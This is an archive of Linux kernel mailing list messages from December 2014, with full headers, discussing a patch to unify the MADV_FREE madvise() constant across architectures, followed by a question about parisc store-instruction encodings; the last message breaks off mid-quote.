        b=WgJkmGMRFsEQpfBrh939XIpzhSw0MtNOLc0euZjS1kTWLcmZgBm2pbFtiYNN2O2Pjy
         Nhr0DsiDsGPPaasHJroThY/PGaJvQXhFD/iwTvS2eo9jRNgcOuze+NlIS8dvV5wvrZ6j
         EUTrEu8nuy/PQ1h/Z8/6dQo+KHTUNCbeDkCIA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=DrOd4RDPgHNfGsFWzyxPL3GUP3lTDwXTVw3j0vruAgM=;
        b=JkPFuHroTTl0yrGYpI9bEpQzk6tm9BzbOjd8lV6SG5hyajBLY2gUy+30rVJddWdACh
         iMPztnvexhZOeTVzKILAlcQgDKRmx5fG2BweBLE8Zf4Dc5fXQV/olHSdYjTkeiVmhcf4
         ImtwKNDrLfXC+jxdtTiitW0pL5eFAyAAqRtLLYZHlfvoXQStAwNIHNNTzA+5gAFKqEYC
         1luzmU8gjDULpYYxKfWsuqat5aW9hn4qf1cfZQ+MuGc3Bb/cLshJEIHl8jVzXX7Qj2qS
         +G9YoDVe6KKXku3tkEF7VTZRxzhX027zR8CkIHvl36mubRRN4E3TELiFLOv/fMDKfF0n
         Rc7Q==
X-Gm-Message-State: ALoCoQlXEZSgINy0G/KQCLHPc8iSWgB5wAC0adgOYFlSwlelB3iEUAiHrEFzMPWAX6fUDoHAJK7k
X-Received: by 10.107.138.5 with SMTP id m5mr54208586iod.85.1417471318276;
 Mon, 01 Dec 2014 14:01:58 -0800 (PST)
Original-Received: by 10.107.18.37 with HTTP; Mon, 1 Dec 2014 14:01:58 -0800 (PST)
X-Originating-IP: [70.48.182.199]
In-Reply-To: <CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2546 gmane.linux.ports.mips.general:45686 gmane.linux.ports.parisc:25492 gmane.linux.kernel:1841711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2546>

On Mon, Dec 1, 2014 at 4:35 PM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> On Mon, Dec 1, 2014 at 9:52 PM, Max Filippov <jcmvbkbc@gmail.com> wrote:
>> On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>>> At present, kernel supports madvise(MADV_FREE), so can benefit to all
>>> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
>>> to know about all related architectures).
>>
>> A similar patch has been posted a while ago:
>>
>> http://www.spinics.net/lists/linux-mm/msg81538.html
>
> Would it be possible to use the same number everywhere?

Yes please. It's ridiculous that we still need patches like this.

I proposed unifying all this two years ago, but didn't follow up.

>From glibc's perspective it would be simpler if we started using the
same number everywhere.

http://www.spinics.net/lists/linux-api/msg02064.html

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Tue, 02 Dec 2014 09:56:18 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <547D1C42.1010502@gmail.com>
References: <547CD304.20407@gmail.com>	<CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>	<CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com> <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417485006 8502 80.91.229.3 (2 Dec 2014 01:50:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2014 01:50:06 +0000 (UTC)
Cc: Max Filippov <jcmvbkbc@gmail.com>,
	Minchan Kim <minchan@kernel.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>
To: Carlos O'Donell <carlos@systemhalted.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Dec 02 02:49:59 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XvcbG-0002qO-7w
	for lnx-linux-alpha@plane.gmane.org; Tue, 02 Dec 2014 02:49:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753606AbaLBBtx (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 1 Dec 2014 20:49:53 -0500
Original-Received: from mail-pd0-f174.google.com ([209.85.192.174]:46310 "EHLO
	mail-pd0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753077AbaLBBtw (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Mon, 1 Dec 2014 20:49:52 -0500
Original-Received: by mail-pd0-f174.google.com with SMTP id w10so12019009pde.19
        for <multiple recipients>; Mon, 01 Dec 2014 17:49:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=m634Xw/0kJTtTXRrbTFUf9TJfKrUrsKja81vlu3PWwQ=;
        b=YElSg9mEBnxfjxckYFyQ0iSa5b1XIXjE/3O/dZ+hcOsWXwfeuD1DE8WP6LAuJaZneW
         x5CDk0U23BTxOe+6z6gRlkn7z5B7GC8heG7MhgIwPMKXpiCGi6ZpQ5OFUhMDmOIuAIk1
         eBWTbLCcEjIlWll4OEj0CtiNUDcooK6Eu5Ev8tzDv9aPqH0Y7y49MvkYcLf0QOCqR4yU
         oxnMTNPBl8ZEbPd9SoG1bfPHx9S0yKHMHkEZBJ6wmsjKtBxB2sVhaFR2zPn/Tdy0KWqo
         5M9yPA0ccis87mXco64v5YoNpHAWFi3Mj0MptAEss44qdx3W60a0nM5Np7A3yKWwWJ7j
         G4Eg==
X-Received: by 10.68.136.137 with SMTP id qa9mr1458030pbb.8.1417484991667;
        Mon, 01 Dec 2014 17:49:51 -0800 (PST)
Original-Received: from ShengShiZhuChengdeMacBook-Pro.local ([124.127.118.42])
        by mx.google.com with ESMTPSA id fj8sm14573597pdb.69.2014.12.01.17.49.41
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 01 Dec 2014 17:49:50 -0800 (PST)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
In-Reply-To: <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2548 gmane.linux.ports.mips.general:45688 gmane.linux.ports.parisc:25494 gmane.linux.kernel:1841860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2548>

On 12/2/14 06:01, Carlos O'Donell wrote:
> On Mon, Dec 1, 2014 at 4:35 PM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>> On Mon, Dec 1, 2014 at 9:52 PM, Max Filippov <jcmvbkbc@gmail.com> wrote:
>>> On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>>>> At present, kernel supports madvise(MADV_FREE), so can benefit to all
>>>> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
>>>> to know about all related architectures).
>>>
>>> A similar patch has been posted a while ago:
>>>
>>> http://www.spinics.net/lists/linux-mm/msg81538.html
>>

OK, thanks.


>> Would it be possible to use the same number everywhere?
> 

For current patch, I guess, we can use '8' for it, since MADV_FREE in
asm-generic is merged just a few days ago (which is not used by user
mode), and parisc has to use '8'.

And welcome the related member's ideas.


> Yes please. It's ridiculous that we still need patches like this.
> 
> I proposed unifying all this two years ago, but didn't follow up.
> 
> From glibc's perspective it would be simpler if we started using the
> same number everywhere.
> 
> http://www.spinics.net/lists/linux-api/msg02064.html
> 

For me, we can divide it into 2 steps:

 - Let MADV_FREE has the same value (about current patch).

 - Let all shared MADV_* to "asm-generic" (about next patch, although I
   am not quite sure whether it is executable).


Thanks.
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Mon, 01 Dec 2014 17:55:31 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <1417485331.2585.26.camel@HansenPartnership.com>
References: <547CD304.20407@gmail.com>
	 <CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>
	 <CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com>
	 <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417485343 14203 80.91.229.3 (2 Dec 2014 01:55:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2014 01:55:43 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Max Filippov <jcmvbkbc@gmail.com>,
	Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 02 02:55:36 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xvcgh-000499-KG
	for glpp-linux-parisc@plane.gmane.org; Tue, 02 Dec 2014 02:55:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932698AbaLBBze (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2014 20:55:34 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42755 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753077AbaLBBzd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2014 20:55:33 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 12E908EE209;
	Mon,  1 Dec 2014 17:55:33 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kGe5flXTEhsG; Mon,  1 Dec 2014 17:55:32 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1941A8EE03A;
	Mon,  1 Dec 2014 17:55:32 -0800 (PST)
In-Reply-To: <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25495 gmane.linux.ports.alpha:2549 gmane.linux.ports.mips.general:45689 gmane.linux.kernel:1841863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25495>

On Mon, 2014-12-01 at 17:01 -0500, Carlos O'Donell wrote:
> On Mon, Dec 1, 2014 at 4:35 PM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> > On Mon, Dec 1, 2014 at 9:52 PM, Max Filippov <jcmvbkbc@gmail.com> wrote:
> >> On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
> >>> At present, kernel supports madvise(MADV_FREE), so can benefit to all
> >>> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
> >>> to know about all related architectures).
> >>
> >> A similar patch has been posted a while ago:
> >>
> >> http://www.spinics.net/lists/linux-mm/msg81538.html
> >
> > Would it be possible to use the same number everywhere?
> 
> Yes please. It's ridiculous that we still need patches like this.
> 
> I proposed unifying all this two years ago, but didn't follow up.
> 
> From glibc's perspective it would be simpler if we started using the
> same number everywhere.
> 
> http://www.spinics.net/lists/linux-api/msg02064.html

Please co-ordinate with Andrew then because he's intent on merging this
patch:

http://marc.info/?l=linux-mm-commits&m=141747572930808

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Tue, 02 Dec 2014 10:07:33 +0800
Lines: 39
Approved: news@gmane.org
Message-ID: <547D1EE5.5060409@gmail.com>
References: <547CD304.20407@gmail.com>	 <CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>	 <CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com>	 <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com> <1417485331.2585.26.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417485692 19281 80.91.229.3 (2 Dec 2014 02:01:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2014 02:01:32 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Max Filippov <jcmvbkbc@gmail.com>,
	Minchan Kim <minchan@kernel.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Dec 02 03:01:25 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XvcmI-0006S0-4G
	for glk-linux-kernel-3@plane.gmane.org; Tue, 02 Dec 2014 03:01:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932679AbaLBCBO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 1 Dec 2014 21:01:14 -0500
Original-Received: from mail-pd0-f171.google.com ([209.85.192.171]:61080 "EHLO
	mail-pd0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753077AbaLBCBL (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 1 Dec 2014 21:01:11 -0500
Original-Received: by mail-pd0-f171.google.com with SMTP id y13so12094272pdi.16
        for <multiple recipients>; Mon, 01 Dec 2014 18:01:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=LXniFMBJHGwlCYcX5UUmKYA4EpW3dUUfIedNZZdlL28=;
        b=GL7aScEUu589PGy0jwkFsyRmRyCbBT2hICyycQvzryjP4DNSiUan4YoHecmDUd/dPG
         CLNDlbTKRJQtUB4FOqKUGdbO/JmFoCPILfZw9o0O9iouEP+OPLu4T0ed7d6ALOjtW4uL
         3M7WvJeN8o00Hhj07bb6t0GOqfN4vkKq7mysWmnt20g+r+18vnneE9NsAJsUEOmyu6zK
         peib+Luk2sL5bDyucaFSXISQU+A9YJJsuc7rdFX+6k/J2b1UchaCmhwq3ehjejRPh+i5
         qEDO9RGykRwRsMQakrY+xD0hVi7Mt76PAT5+hi4jYaXQ7AokZ5m8yn9zv01u1/+7j7/t
         XVvg==
X-Received: by 10.70.53.35 with SMTP id y3mr15207776pdo.27.1417485670616;
        Mon, 01 Dec 2014 18:01:10 -0800 (PST)
Original-Received: from ShengShiZhuChengdeMacBook-Pro.local ([124.127.118.42])
        by mx.google.com with ESMTPSA id vf6sm4265567pbc.73.2014.12.01.18.00.56
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 01 Dec 2014 18:01:09 -0800 (PST)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
In-Reply-To: <1417485331.2585.26.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1841865 gmane.linux.ports.alpha:2550 gmane.linux.ports.mips.general:45690 gmane.linux.ports.parisc:25496
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1841865>

On 12/2/14 09:55, James Bottomley wrote:
> On Mon, 2014-12-01 at 17:01 -0500, Carlos O'Donell wrote:
>> On Mon, Dec 1, 2014 at 4:35 PM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>>> On Mon, Dec 1, 2014 at 9:52 PM, Max Filippov <jcmvbkbc@gmail.com> wrote:
>>>> On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>>>>> At present, kernel supports madvise(MADV_FREE), so can benefit to all
>>>>> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
>>>>> to know about all related architectures).
>>>>
>>>> A similar patch has been posted a while ago:
>>>>
>>>> http://www.spinics.net/lists/linux-mm/msg81538.html
>>>
>>> Would it be possible to use the same number everywhere?
>>
>> Yes please. It's ridiculous that we still need patches like this.
>>
>> I proposed unifying all this two years ago, but didn't follow up.
>>
>> From glibc's perspective it would be simpler if we started using the
>> same number everywhere.
>>
>> http://www.spinics.net/lists/linux-api/msg02064.html
> 
> Please co-ordinate with Andrew then because he's intent on merging this
> patch:
> 
> http://marc.info/?l=linux-mm-commits&m=141747572930808
> 

For me, we can let MADV_FREE to 8 based on the Andrew's mm tree. Since
it is about uapi, we need try our best to let it perfect.


Thanks.
-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed

From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Let MADV_FREE have same value
 for all architectures
Date: Sat, 06 Dec 2014 23:57:21 +0800
Lines: 81
Approved: news@gmane.org
Message-ID: <54832761.1050700@gmail.com>
References: <5480E715.3020900@gmail.com> <20141205065417.GA3358@bbox> <54822B19.2070804@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417881343 13473 80.91.229.3 (6 Dec 2014 15:55:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Dec 2014 15:55:43 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Joel Brobecker <brobecker@adacore.com>
To: "jejb@parisc-linux.org" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 06 16:55:36 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XxHhn-000205-8m
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Dec 2014 16:55:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751908AbaLFPze (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Dec 2014 10:55:34 -0500
Original-Received: from mail-pa0-f48.google.com ([209.85.220.48]:33453 "EHLO
	mail-pa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751639AbaLFPzd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Dec 2014 10:55:33 -0500
Original-Received: by mail-pa0-f48.google.com with SMTP id rd3so2557279pab.7
        for <multiple recipients>; Sat, 06 Dec 2014 07:55:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=RfGBzmjkvgaJAycWCIorkv/Wvypr9GlybooygYN822M=;
        b=QYWkFSPWAd6tDEA9Z9PlkXOxWc8q+3sQd29BZlMjsiKlgHJyW3V3hi3aBUQ8w5rD2Z
         dbkEgPrscjvmqZL8Y97D8sX/DCrO/OVjAZPRcP3tHdDIw1Y5CHPtkqF5/y8U6bZluIv8
         ZQqOOluCbToY5jGNQqjJOoaTO6aHhn+Z7C9GUPWdrcSSpZLlP0MZeJi7iiVkzSB639Vz
         W2RrwhUGwJr2IFel8g20/2xhdrlDHlck0z3kfAT/8Ke3LPRnPS2xAB1S6Gegt6SEYQG2
         YeJo/BqRfHdpFg3rYbXbtbMjdAgQRiLnXCPTcA956Gf9mq++WyJJPikS1ZBPFv0b/e3K
         xZ0A==
X-Received: by 10.70.102.17 with SMTP id fk17mr5587805pdb.61.1417881332713;
        Sat, 06 Dec 2014 07:55:32 -0800 (PST)
Original-Received: from [192.168.1.101] ([223.72.65.95])
        by mx.google.com with ESMTPSA id zn2sm31868593pbb.41.2014.12.06.07.55.29
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Sat, 06 Dec 2014 07:55:31 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <54822B19.2070804@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25499 gmane.linux.kernel:1845985
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25499>

Hello Maintainers:

After this patch, our parisc can pass allmodconfig in linux next tree,
for me, we can say parisc specific code have no touch for allmodconfig.
:-)

But for parisc gcc latest upstream compiler, I found several issues, and
I shall try to analyse them and communicate with gcc related members.

And I also want to consult about parisc assembly instructions, I can not
find the related reference documents, could you help to have a check (or
provide some related information for it)? related contents are below:

  parisc support several store instructions: 'stb' (for store byte),
  'stw(m)' (for store word), and 'std' (for store double word).

  They should be in the same format in binary code, and have neighbour
  numbers, and 'stw(m)' need be in the middle of 'stb' and 'std'. one
  sample for the instruction 'inst' (it is 'unsigned int'):

   - for ((inst >> 26) != 0x3):

     stb: 0x18, or 0x19,
     stw: 0x1a, stwm: 0x1b,
     std: 0x1c.

   - else ((inst >> 26) == 0x3), need check '(inst >> 6) & 0xf':

     stb: 0x08, or 0x09,
     stw: 0x0a,
     std: 0x0b.

  it is about my binutils/gdb patch for parisc, gdb want to recognize
  'st??' to find the position for saving relate context (registers).


Welcome any suggestions, ideas, and completions.

Thanks.


On 12/06/2014 06:00 AM, Chen Gang wrote:
> On 12/05/2014 02:54 PM, Minchan Kim wrote:
>> On Fri, Dec 05, 2014 at 06:58:29AM +0800, Chen Gang wrote:
>>> For uapi, need try to let all macros have same value, and MADV_FREE is
>>> added into main branch recently, so need redefine MADV_FREE for it.
>>>
>>> At present, '8' can be shared with all architectures, so redefine it to
>>> '8'.
>>>
>>> Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
>>
>>
>> Hello Chen,
>>
